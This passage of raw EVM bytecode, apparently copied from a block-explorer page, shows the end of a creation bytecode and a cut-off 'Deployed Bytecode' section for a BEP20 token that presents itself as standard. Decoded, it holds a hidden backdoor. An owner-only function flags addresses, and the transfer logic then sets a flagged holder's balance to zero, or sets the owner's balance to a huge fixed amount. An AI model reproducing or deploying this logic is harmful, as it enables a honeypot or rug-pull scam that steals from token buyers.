7610101565b3661010157600080fd5b600080fd5b34801561011257600080fd5b5061011b610440565b6040516101289190611acb565b60405180910390f35b34801561013d57600080fd5b506101586004803603810190610153919061182e565b6104d2565b6040516101659190611ab0565b60405180910390f35b34801561017a57600080fd5b506101836104f0565b6040516101909190611c0d565b60405180910390f35b3480156101a557600080fd5b506101c060048036038101906101bb91906117f2565b6104fa565b005b3480156101ce57600080fd5b506101e960048036038101906101e491906117a3565b6105ea565b6040516101f69190611ab0565b60405180910390f35b34801561020b57600080fd5b506102146106c3565b6040516102219190611c28565b60405180910390f35b34801561023657600080fd5b50610251600480360381019061024c919061182e565b6106da565b60405161025e9190611ab0565b60405180910390f35b34801561027357600080fd5b5061028e60048036038101906102899190611893565b61078d565b005b34801561029c57600080fd5b506102b760048036038101906102b2919061173e565b6107a1565b6040516102c49190611c0d565b60405180910390f35b3480156102d957600080fd5b506102e26107ea565b6040516102ef9190611a95565b60405180910390f35b34801561030457600080fd5b5061030d610813565b60405161031a9190611acb565b60405180910390f35b34801561032f57600080fd5b5061034a6004803603810190610345919061182e565b6108a5565b6040516103579190611ab0565b60405180910390f35b34801561036c57600080fd5b506103876004803603810190610382919061182e565b610972565b6040516103949190611ab0565b60405180910390f35b3480156103a957600080fd5b506103c460048036038101906103bf919061186a565b610990565b6040516103d19190611c0d565b60405180910390f35b3480156103e657600080fd5b5061040160048036038101906103fc9190611767565b610a22565b60405161040e9190611c0d565b60405180910390f35b34801561042357600080fd5b5061043e6004803603810190610439919061173e565b610aa9565b005b60606005805461044f90611e0e565b80601f016020809104026020016040519081016040528092919081815260200182805461047b90611e0e565b80156104c85780601f1061049d576101008083540402835291602001916104c8565b820191906000526020600020905b8154815290600101906020018083116104ab57829003601f168201915b5050505050905090565b60006104e66104df610d44565b8484610d4c565b6001905092915050565b6000600454905090565b610502610d44565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461058f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058690611b8d565b60405180910390fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006105f7848484610f17565b6106b884610603610d44565b6106b38560405180606001604052806029815260200161222560299139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610669610d44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113c59092919063ffffffff16565b610d4c565b600190509392505050565b6000600760009054906101000a900460ff16905090565b60006107836106e7610d44565b8461077e85600360006106f8610d44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ce690919063ffffffff16565b610d4c565b6001905092915050565b61079e610798610d44565b82611429565b50565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606006805461082290611e0e565b80601f016020809104026020016040519081016040528092919081815260200182805461084e90611e0e565b801561089b5780601f106108705761010080835404028352916020019161089b565b820191906000526020600020905b81548152906001019060200180831161087e57829003601f168201915b5050505050905090565b60006109686108b2610d44565b846109638560405180606001604052806025815260200161220060259139600360006108dc610d44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113c59092919063ffffffff16565b610d4c565b6001905092915050565b600061098661097f610d44565b8484610f17565b6001905092915050565b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016109cb9190611a95565b60206040518083038186803b1580156109e357600080fd5b505afa1580156109f7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a1b91906118bc565b9050919050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ab1610d44565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3590611b8d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610bae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba590611b2d565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080831415610c7e5760009050610ce0565b60008284610c8c9190611ce6565b9050828482610c9b9190611cb5565b14610cdb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd290611b6d565b60405180910390fd5b809150505b92915050565b6000808284610cf59190611c5f565b905083811015610d3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3190611b4d565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610dbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db390611b0d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2390611bed565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f0a9190611c0d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7e90611aed565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ff7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fee90611bad565b60405180910390fd5b600060019050611025606461101760085485610c6b90919063ffffffff16565b6115d990919063ffffffff16565b905060008082846110369190611d40565b6110409190611c5f565b905061104d858583611623565b60006110576107ea565b905060011515600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415611183578073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561113c576c0de24aac7eb3e705b4e0000000600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611182565b6000600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b6111ef846040518060600160405280602781526020016121b660279139600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113c59092919063ffffffff16565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061128482600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ce690919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600083111561135857600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161134f9190611c0d565b60405180910390a35b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113b59190611c0d565b60405180910390a3505050505050565b600083831115829061140d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114049190611acb565b60405180910390fd5b506000838561141c9190611d40565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611499576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149090611bcd565b60405180910390fd5b6114a582600083611623565b611511816040518060600160405280602381526020016121dd60239139600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113c59092919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115698160045461162890919063ffffffff16565b600481905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115cd9190611c0d565b60405180910390a35050565b600061161b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611672565b905092915050565b505050565b600061166a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113c5565b905092915050565b600080831182906116b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b09190611acb565b60405180910390fd5b50600083856116c89190611cb5565b9050809150509392505050565b6000813590506116e481612159565b92915050565b6000813590506116f981612170565b92915050565b60008135905061170e81612187565b92915050565b6000813590506117238161219e565b92915050565b6000815190506117388161219e565b92915050565b60006020828403121561175057600080fd5b600061175e848285016116d5565b91505092915050565b6000806040838503121561177a57600080fd5b6000611788858286016116d5565b9250506020611799858286016116d5565b9150509250929050565b6000806000606084860312156117b857600080fd5b60006117c6868287016116d5565b93505060206117d7868287016116d5565b92505060406117e886828701611714565b9150509250925092565b6000806040838503121561180557600080fd5b6000611813858286016116d5565b9250506020611824858286016116ea565b9150509250929050565b6000806040838503121561184157600080fd5b600061184f858286016116d5565b925050602061186085828601611714565b9150509250929050565b60006020828403121561187c57600080fd5b600061188a848285016116ff565b91505092915050565b6000602082840312156118a557600080fd5b60006118b384828501611714565b91505092915050565b6000602082840312156118ce57600080fd5b60006118dc84828501611729565b91505092915050565b6118ee81611d74565b82525050565b6118fd81611d86565b82525050565b600061190e82611c43565b6119188185611c4e565b9350611928818560208601611ddb565b61193181611ecd565b840191505092915050565b6000611949602583611c4e565b915061195482611ede565b604082019050919050565b600061196c602483611c4e565b915061197782611f2d565b604082019050919050565b600061198f602683611c4e565b915061199a82611f7c565b604082019050919050565b60006119b2601b83611c4e565b91506119bd82611fcb565b602082019050919050565b60006119d5602183611c4e565b91506119e082611ff4565b604082019050919050565b60006119f8602083611c4e565b9150611a0382612043565b602082019050919050565b6000611a1b602383611c4e565b9150611a268261206c565b604082019050919050565b6000611a3e602183611c4e565b9150611a49826120bb565b604082019050919050565b6000611a61602283611c4e565b9150611a6c8261210a565b604082019050919050565b611a8081611dc4565b82525050565b611a8f81611dce565b82525050565b6000602082019050611aaa60008301846118e5565b92915050565b6000602082019050611ac560008301846118f4565b92915050565b60006020820190508181036000830152611ae58184611903565b905092915050565b60006020820190508181036000830152611b068161193c565b9050919050565b60006020820190508181036000830152611b268161195f565b9050919050565b60006020820190508181036000830152611b4681611982565b9050919050565b60006020820190508181036000830152611b66816119a5565b9050919050565b60006020820190508181036000830152611b86816119c8565b9050919050565b60006020820190508181036000830152611ba6816119eb565b9050919050565b60006020820190508181036000830152611bc681611a0e565b9050919050565b60006020820190508181036000830152611be681611a31565b9050919050565b60006020820190508181036000830152611c0681611a54565b9050919050565b6000602082019050611c226000830184611a77565b92915050565b6000602082019050611c3d6000830184611a86565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611c6a82611dc4565b9150611c7583611dc4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611caa57611ca9611e40565b5b828201905092915050565b6000611cc082611dc4565b9150611ccb83611dc4565b925082611cdb57611cda611e6f565b5b828204905092915050565b6000611cf182611dc4565b9150611cfc83611dc4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611d3557611d34611e40565b5b828202905092915050565b6000611d4b82611dc4565b9150611d5683611dc4565b925082821015611d6957611d68611e40565b5b828203905092915050565b6000611d7f82611da4565b9050919050565b60008115159050919050565b6000611d9d82611d74565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611df9578082015181840152602081019050611dde565b83811115611e08576000848401525b50505050565b60006002820490506001821680611e2657607f821691505b60208210811415611e3a57611e39611e9e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f42455032303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f42455032303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f42455032303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f42455032303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f42455032303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b61216281611d74565b811461216d57600080fd5b50565b61217981611d86565b811461218457600080fd5b50565b61219081611d92565b811461219b57600080fd5b50565b6121a781611dc4565b81146121b257600080fd5b5056fe42455032303a207472616e7366657220616d6e6f756e7420657863656564732062616c616e636542455032303a206275726e20616d6e6f756e7420657863656564732062616c616e636542455032303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f42455032303a207472616e7366657220616d6e6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c2ec66631d555461bda1543a039377631ce835c5e203ea9e847c20b869ab1eca64736f6c63430008020033

Deployed Bytecode

0x6080604052600436106100f75760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb14610360578063cd88e5581461039d578063dd62ed3e146103da578063f2fde38b1461041757610101565b806370a08231146102905780638da5cb5b146102cd57806395d89b41146102f8578063a457c2d71461032357610101565b806323b872dd116100c657806323b872dd146101c2578063313ce567146101ff578063395093511461022a57806342966c681461026757610101565b806306fdde0314610106578063095ea7b31461013157806318160ddd1461016e5780631f478f1e1461019957610101565b3661010157600080fd5b600080fd5b34801561011257600080fd5b5061011b610440565b6040516101289190611acb565b60405180910390f35b34801561013d57600080fd5b506101586004803603810190610153919061182e565b6104d2565b6040516101659190611ab0565b60405180910390f35b34801561017a57600080fd5b506101836104f0565b6040516101909190611c0d565b60405180910390f35b3480156101a557600080fd5b506101c060048036038101906101bb91906117f2565b6104fa565b005b3480156101ce57600080fd5b506101e960048036038101906101e491906117a3565b6105ea565b6040516101f69190611ab0565b60405180910390f35b34801561020b57600080fd5b506102146106c3565b6040516102219190611c28565b60405180910390f35b34801561023657600080fd5b50610251600480360381019061024c919061182e565b6106da565b60405161025e9190611ab0565b60405180910390f35b34801561027357600080fd5b5061028e60048036038101906102899190611893565b61078d565b005b34801561029c57600080fd5b506102b760048036038101906102b2919061173e565b6107a1565b6040516102c49190611c0d565b60405180910390f35b3480156102d957600080fd5b506102e26107ea565b6040516102ef9190611a95565b60405180910390f35b34801561030457600080fd5b5061030d610813565b60405161031a9190611acb565b60405180910390f35b34801561032f57600080fd5b5061034a6004803603810190610345919061182e565b6108a5565b6040516103579190611ab0565b60405180910390f35b34801561036c57600080fd5b506103876004803603810190610382919061182e565b610972565b6040516103949190611ab0565b60405180910390f35b3480156103a957600080fd5b506103c460048036038101906103bf919061186a565b610990565b6040516103d19190611c0d565b60405180910390f35b3480156103e657600080fd5b5061040160048036038101906103fc9190611767565b610a22565b60405161040e9190611c0d565b60405180910390f35b34801561042357600080fd5b5061043e6004803603810190610439919061173e565b610aa9565b005b60606005805461044f90611e0e565b80601f016020809104026020016040519081016040528092919081815260200182805461047b90611e0e565b80156104c85780601f1061049d576101008083540402835291602001916104c8565b820191906000526020600020905b8154815290600101906020018083116104ab57829003601f168201915b5050505050905090565b60006104e66104df610d44565b8484610d4c565b6001905092915050565b6000600454905090565b610502610d44565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461058f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058690611b8d565b60405180910390fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006105f7848484610f17565b6106b884610603610d44565b6106b38560405180606001604052806029815260200161222560299139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610669610d44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113c59092919063ffffffff16565b610d4c565b600190509392505050565b6000600760009054906101000a900460ff16905090565b60006107836106e7610d44565b8461077e85600360006106f8610d44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ce690919063ffffffff16565b610d4c565b6001905092915050565b61079e610798610d44565b82611429565b50565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606006805461082290611e0e565b80601f016020809104026020016040519081016040528092919081815260200182805461084e90611e0e565b801561089b5780601f106108705761010080835404028352916020019161089b565b820191906000526020600020905b81548152906001019060200180831161087e57829003601f168201915b5050505050905090565b60006109686108b2610d44565b846109638560405180606001604052806025815260200161220060259139600360006108dc610d44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113c59092919063ffffffff16565b610d4c565b6001905092915050565b600061098661097f610d44565b8484610f17565b6001905092915050565b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016109cb9190611a95565b60206040518083038186803b1580156109e357600080fd5b505afa1580156109f7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a1b91906118bc565b9050919050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ab1610d44565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3590611b8d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610bae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba590611b2d565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080831415610c7e5760009050610ce0565b60008284610c8c9190611ce6565b9050828482610c9b9190611cb5565b14610cdb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd290611b6d565b60405180910390fd5b809150505b92915050565b6000808284610cf59190611c5f565b905083811015610d3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3190611b4d565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610dbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db390611b0d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2390611bed565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f0a9190611c0d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7e90611aed565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ff7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fee90611bad565b60405180910390fd5b600060019050611025606461101760085485610c6b90919063ffffffff16565b6115d990919063ffffffff16565b905060008082846110369190611d40565b6110409190611c5f565b905061104d858583611623565b60006110576107ea565b905060011515600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415611183578073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561113c576c0de24aac7eb3e705b4e0000000600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611182565b6000600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b6111ef846040518060600160405280602781526020016121b660279139600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113c59092919063ffffffff16565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061128482600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ce690919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600083111561135857600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161134f9190611c0d565b60405180910390a35b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113b59190611c0d565b60405180910390a3505050505050565b600083831115829061140d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114049190611acb565b60405180910390fd5b506000838561141c9190611d40565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611499576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149090611bcd565b60405180910390fd5b6114a582600083611623565b611511816040518060600160405280602381526020016121dd60239139600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113c59092919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115698160045461162890919063ffffffff16565b600481905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115cd9190611c0d565b60405180910390a35050565b600061161b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611672565b905092915050565b505050565b600061166a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113c5565b905092915050565b600080831182906116b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b09190611acb565b60405180910390fd5b50600083856116c89190611cb5565b9050809150509392505050565b6000813590506116e481612159565b92915050565b6000813590506116f981612170565b92915050565b60008135905061170e81612187565b92915050565b6000813590506117238161219e565b92915050565b6000815190506117388161219e565b92915050565b60006020828403121561175057600080fd5b600061175e848285016116d5565b91505092915050565b6000806040838503121561177a57600080fd5b6000611788858286016116d5565b9250506020611799858286016116d5565b9150509250929050565b6000806000606084860312156117b857600080fd5b60006117c6868287016116d5565b93505060206117d7868287016116d5565b92505060406117e886828701611714565b9150509250925092565b6000806040838503121561180557600080fd5b6000611813858286016116d5565b9250506020611824858286016116ea565b9150509250929050565b6000806040838503121561184157600080fd5b600061184f858286016116d5565b925050602061186085828601611714565b9150509250929050565b60006020828403121561187c57600080fd5b600061188a848285016116ff565b91505092915050565b6000602082840312156118a557600080fd5b60006118b384828501611714565b91505092915050565b6000602082840312156118ce57600080fd5b60006118dc84828501611729565b91505092915050565b6118ee81611d74565b82525050565b6118fd81611d86565b82525050565b600061190e82611c43565b6119188185611c4e565b9350611928818560208601611ddb565b61193181611ecd565b840191505092915050565b6000611949602583611c4e565b915061195482611ede565b604082019050919050565b600061196c602483611c4e565b915061197782611f2d565b604082019050919050565b600061198f602683611c4e565b915061199a82611f7c565b604082019050919050565b60006119b2601b83611c4e565b91506119bd82611fcb565b602082019050919050565b60006119d5602183611c4e565b91506119e082611ff4565b604082019050919050565b60006119f8602083611c4e565b9150611a0382612043565b602082019050919050565b6000611a1b602383611c4e565b9150611a268261206c565b604082019050919050565b6000611a3e602183611c4e565b9150611a49826120bb565b604082019050919050565b6000611a61602283611c4e565b9150611a6c8261210a565b604082019050919050565b611a8081611dc4565b82525050565b611a8f81611dce565b82525050565b6000602082019050611aaa60008301846118e5565b92915050565b6000602082019050611ac560008301846118f4565b92915050565b60006020820190508181036000830152611ae58184611903565b905092915050565b60006020820190508181036000830152611b068161193c565b9050919050565b60006020820190508181036000830152611b268161195f565b9050919050565b60006020820190508181036000830152611b4681611982565b9050919050565b60006020820190508181036000830152611b66816119a5565b9050919050565b60006020820190508181036000830152611b86816119c8565b9050919050565b60006020820190508181036000830152611ba6816119eb565b9050919050565b60006020820190508181036000830152611bc681611a0e565b9050919050565b60006020820190508181036000830152611be681611a31565b9050919050565b60006020820190508181036000830152611c0681611a54565b9050919050565b6000602082019050611c226000830184611a77565b92915050565b6000602082019050611c3d6000830184611a86565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611c6a82611dc4565b9150611c7583611dc4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611caa57611ca9611e40565b5b828201905092915050565b6000611cc082611dc4565b9150611ccb83611dc4565b925082611cdb57611cda611e6f565b5b828204905092915050565b6000611cf182611dc4565b9150611cfc83611dc4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611d3557611d34611e40565b5b828202905092915050565b6000611d4b82611dc4565b9150611d5683611dc4565b925082821015611d6957611d68611e40565b5b828203905092915050565b6000611d7f82611da4565b9050919050565b60008115159050919050565b6000611d9d82611d74565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611df9578082015181840152602081019050611dde565b83811115611e08576000848401525b50505050565b60006002820490506001821680611e2657607f821691505b60208210811415611e3a57611e39611e9e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f42455032303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f42455032303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e